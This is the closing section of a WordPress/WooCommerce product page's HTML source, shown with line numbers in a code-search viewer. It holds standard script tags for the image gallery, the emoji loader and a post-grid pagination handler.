5193<script data-wp-strategy="defer" defer id="wc-photoswipe-ui-default-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/photoswipe/photoswipe-ui-default.min.js?ver=4.1.1-wc.11.1.0"></script>
vendor: 1 bytes, line 5193
5193
5194<script id="wc-single-product-js-extra"> 5195var wc_single_product_params = {"i18n_required_rating_text":"Please select a rating","i18n_rating_options":["1 of 5 stars","2 of 5 stars","3 of 5 stars","4 of 5 stars","5 of 5 stars"],"i18n_product_gallery_trigger_text":"View full-screen image gallery","review_rating_required":"yes","flexslider":{"rtl":false,"animation":"slide","smoothHeight":true,"directionNav":true,"controlNav":"thumbnails","slideshow":false,"animationSpeed":500,"animationLoop":false,"allowOneSlide":false},"zoom_enabled":"1","zoom_options":[],"photoswipe_enabled":"1","photoswipe_options":{"shareEl":false,"closeOnScroll":false,"history":false,"hideAnimationDuration":0,"showAnimationDuration":0},"flexslider_enabled":"1"}; 5196//# sourceURL=wc-single-product-js-extra 5197</script>
vendor: 1 bytes, line 5197
5197
5198<script data-wp-strategy="defer" defer id="wc-single-product-js" src="https://fridaymasti.com/wp-content/plugins/woocommerce/assets/js/frontend/single-product.min.js?ver=11.1.0"></script>
vendor: 1 bytes, line 5198
5198
5199<script id="wp-emoji-settings" type="application/json"> 5200{"baseUrl":"https://s.w.org/images/core/emoji/17.0.2/72x72/","ext":".png","svgUrl":"https://s.w.org/images/core/emoji/17.0.2/svg/","svgExt":".svg","source":{"concatemoji":"https://fridaymasti.com/wp-includes/js/wp-emoji-release.min.js?ver=7.1.2"}} 5201</script>
vendor: 1 bytes, line 5201
5201
5202<script type="module"> 5203/*! This file is auto-generated */ 5204var e="script#wp-emoji-settings",t=document.querySelector(e);if(!(t instanceof HTMLScriptElement))throw new Error("Element missing: "+e);const r=JSON.parse(t.text),s=(window._wpemojiSettings=r,"wpEmojiSettingsSupports"),o=["flag","emoji"];function i(e){try{var t={supportTests:e,timestamp:(new Date).valueOf()};sessionStorage.setItem(s,JSON.stringify(t))}catch(e){}}function c(e,t,n){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);t=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(n,0,0);const r=new Uint32Array(e.getImageData(0,0,e.canvas.width,e.canvas.height).data);return t.every((e,t)=>e===r[t])}function p(e,t){e.clearRect(0,0,e.canvas.width,e.canvas.height),e.fillText(t,0,0);var n=e.getImageData(16,16,1,1);for(let e=0;e<n.data.length;e++)if(0!==n.data[e])return!1;return!0}function u(e,t,n,r){switch(t){case"flag":return n(e,"\ud83c\udff3\ufe0f\u200d\u26a7\ufe0f","\ud83c\udff3\ufe0f\u200b\u26a7\ufe0f")?!1:!n(e,"\ud83c\udde8\ud83c\uddf6","\ud83c\udde8\u200b\ud83c\uddf6")&&!n(e,"\ud83c\udff4\udb40\udc67\udb40\udc62\udb40\udc65\udb40\udc6e\udb40\udc67\udb40\udc7f","\ud83c\udff4\u200b\udb40\udc67\u200b\udb40\udc62\u200b\udb40\udc65\u200b\udb40\udc6e\u200b\udb40\udc67\u200b\udb40\udc7f");case"emoji":return!r(e,"\ud83e\u1fac8")}return!1}function f(e,t,n,r){let a;const s=(a="undefined"!=typeof WorkerGlobalScope&&self instanceof WorkerGlobalScope?new OffscreenCanvas(300,150):document.createElement("canvas")).getContext("2d",{willReadFrequently:!0}),o=(s.textBaseline="top",s.font="600 32px Arial",{});return e.forEach(e=>{o[e]=t(s,e,n,r)}),o}function a(e){var t=document.createElement("script");t.src=e,t.defer=!0,document.head.appendChild(t)}r.supports={everything:!0,everythingExceptFlag:!0},new Promise(t=>{let n=function(){try{var e=JSON.parse(sessionStorage.getItem(s));if("object"==typeof e&&"number"==typeof e.timestamp&&(new Date).valueOf()<e.timestamp+604800&&"object"==typeof e.supportTests)return e.supportTests}catch(e){}return null}();if(!n){if("undefined"!=typeof Worker&&"undefined"!=typeof OffscreenCanvas&&"undefined"!=typeof URL&&URL.createObjectURL&&"undefined"!=typeof Blob)try{var e="postMessage("+f.toString()+"("+[JSON.stringify(o),u.toString(),c.toString(),p.toString()].join(",")+"));",r=new Blob([e],{type:"text/javascript"});const a=new Worker(URL.createObjectURL(r),{name:"wpTestEmojiSupports"});return void(a.onmessage=e=>{i(n=e.data),a.terminate(),t(n)})}catch(e){}i(n=f(o,u,c,p))}t(n)}).then(e=>{for(const n in e)r.supports[n]=e[n],r.supports.everything=r.supports.everything&&r.supports[n],"flag"!==n&&(r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&r.supports[n]);var t;r.supports.everythingExceptFlag=r.supports.everythingExceptFlag&&!r.supports.flag,r.supports.everything||((t=r.source||{}).concatemoji?a(t.concatemoji):t.wpemoji&&t.twemoji&&(a(t.twemoji),a(t.wpemoji)))}); 5205//# sourceURL=https://fridaymasti.com/wp-includes/js/wp-emoji-loader.min.js 5206</script>
5206 5207 5208
5208<script type="text/javascript" id="bd688aa2"> 5209 ( function() { 5210 let elements = document.querySelectorAll( '.uagb-post-grid.uagb-block-bd688aa2 .uagb-post-pagination-wrap a' ); 5211 elements.forEach(function(element) { 5212 element.addEventListener("click", function(event){ 5213 event.preventDefault(); 5214 const link = event.target.getAttribute('href').match( /\/page\/\d+\// )?.[0] || ''; 5215 const regex = /\d+/; // regular expression to match a number at the end of the string 5216 const match = link.match( regex ) ? link.match( regex )[0] : 1; // match the regular expression with the link 5217 const pageNumber = parseInt( match ); // extract the number and parse it to an integer 5218 window.UAGBPostGrid._callAjax({"btnBorderStyle":"none","overallBorderColor":"","block_id":"bd688aa2","columns":1,"postPagination":true,"paginationMarkup":"<span class=\"page-numbers current\">1<\/span>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/2\/?_locale=user\">2<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/3\/?_locale=user\">3<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/4\/?_locale=user\">4<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/5\/?_locale=user\">5<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/6\/?_locale=user\">6<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/7\/?_locale=user\">7<\/a>\n<a class=\"page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/8\/?_locale=user\">8<\/a>\n<a class=\"next page-numbers\" href=\"https:\/\/ottfanclub.com\/wp-admin\/admin-ajax.php\/page\/2\/?_locale=user\">Next \u00bb<\/a>","btnBorderLink":true,"btnBorderRadiusLink":true,"overallBorderLink":true,"overallBorderRadiusLink":true,"inheritFromTheme":true,"postType":"post","postDisplaytext":"No post found!","taxonomyType":"category","postsToShow":6,"enableOffset":false,"postsOffset":0,"displayPostDate":true,"displayPostExcerpt":true,"excerptLength":15,"displayPostAuthor":false,"displayPostTitle":true,"displayPostComment":true,"displayPostTaxonomy":false,"hideTaxonomyIcon":true,"taxStyle":"default","displayPostTaxonomyAboveTitle":"withMeta","displayPostImage":true,"imgSize":"large","imgPosition":"top","bgOverlayColor":"#000000","overlayOpacity":"50","displayPostLink":true,"newTab":false,"ctaText":"Read More","inheritFromThemeBtn":false,"buttonType":"primary","btnHPadding":"","btnVPadding":"","tcolumns":2,"mcolumns":1,"align":"left","width":"wide","order":"desc","orderBy":"date","rowGap":20,"rowGapTablet":20,"rowGapMobile":20,"columnGap":20,"bgType":"color","bgColor":"#f6f6f6","titleTag":"h4","titleFontSize":"","titleFontSizeType":"px","titleFontFamily":"","titleLineHeightType":"em","titleLoadGoogleFonts":false,"metaColor":"","highlightedTextColor":"#fff","highlightedTextBgColor":"#3182ce","metaFontSize":"","metaFontSizeType":"px","metaFontFamily":"","metaLineHeightType":"em","metaLoadGoogleFonts":false,"excerptColor":"","excerptFontSize":"","excerptFontSizeType":"px","excerptFontFamily":"","excerptLineHeightType":"em","excerptLoadGoogleFonts":false,"displayPostContentRadio":"excerpt","ctaBgType":"color","ctaBgHType":"color","ctaFontSize":"","ctaFontSizeType":"px","ctaFontFamily":"","ctaLineHeightType":"em","ctaLoadGoogleFonts":false,"paddingTop":20,"paddingBottom":20,"paddingRight":20,"paddingLeft":20,"contentPadding":20,"ctaBottomSpace":0,"ctaBottomSpaceTablet":0,"ctaBottomSpaceMobile":0,"imageBottomSpace":15,"titleBottomSpace":15,"metaBottomSpace":15,"excerptBottomSpace":25,"excludeCurrentPost":false,"contentPaddingUnit":"px","rowGapUnit":"px","columnGapUnit":"px","excerptBottomSpaceUnit":"px","paginationSpacingUnit":"px","imageBottomSpaceUnit":"px","taxonomyBottomSpaceUnit":"px","titleBottomSpaceUnit":"px","metaBottomSpaceUnit":"px","ctaBottomSpaceUnit":"px","paddingBtnUnit":"px","mobilePaddingBtnUnit":"px","tabletPaddingBtnUnit":"px","paddingUnit":"px","mobilePaddingUnit":"px","tabletPaddingUnit":"px","isPreview":false,"taxDivider":", ","titleLetterSpacing":"","titleLetterSpacingType":"px","metaLetterSpacing":"","metaLetterSpacingType":"px","ctaLetterSpacing":"","ctaLetterSpacingType":"px","excerptLetterSpacing":"","excerptLetterSpacingType":"px","useSeparateBoxShadows":true,"boxShadowColor":"#00000070","boxShadowHOffset":0,"boxShadowVOffset":0,"boxShadowBlur":"","boxShadowSpread":"","boxShadowPosition":"outset","boxShadowColorHover":"","boxShadowHOffsetHover":0,"boxShadowVOffsetHover":0,"boxShadowBlurHover":"","boxShadowSpreadHover":"","boxShadowPositionHover":"outset","borderWidth":"","borderStyle":"none","borderColor":"","borderRadius":"","blockName":"post-grid","equalHeight":true,"pageLimit":10,"paginationBgActiveColor":"#e4e4e4","paginationActiveColor":"#333333","paginationBgColor":"#e4e4e4","paginationColor":"#777777","paginationLayout":"filled","paginationBorderColor":"#888686","paginationBorderSize":1,"paginationSpacing":20,"paginationAlignment":"left","paginationPrevText":"\u00ab Previous","paginationNextText":"Next \u00bb","layoutConfig":[["uagb\/post-image"],["uagb\/post-taxonomy"],["uagb\/post-title"],["uagb\/post-meta"],["uagb\/post-excerpt"],["uagb\/post-button"]],"post_type":"grid","equalHeightInlineButtons":false,"imageRatio":"inherit","
5218imgEqualHeight":false,"paginationType":"ajax","isLeftToRightLayout":false,"wrapperTopPadding":"","wrapperRightPadding":"","wrapperLeftPadding":"","wrapperBottomPadding":"","wrapperTopPaddingTablet":"","wrapperRightPaddingTablet":"","wrapperLeftPaddingTablet":"","wrapperBottomPaddingTablet":"","wrapperTopPaddingMobile":"","wrapperRightPaddingMobile":"","wrapperLeftPaddingMobile":"","wrapperBottomPaddingMobile":"","wrapperPaddingUnit":"px","wrapperPaddingUnitTablet":"px","wrapperPaddingUnitMobile":"px","wrapperPaddingLink":false,"wrapperAlign":"row","wrapperAlignPosition":"center"}, pageNumber, 'bd688aa2'); 5219 }); 5220 }); 5221 } )(); 5222 </script>
5222 5223 5224 </body> 5225</html>
Line numbers count LF bytes from the start of the resource, as the search results do. Vendor segments are library code the classifier recognised; they are stored but not indexed. Bytes are shown as Latin1 characters, one per byte.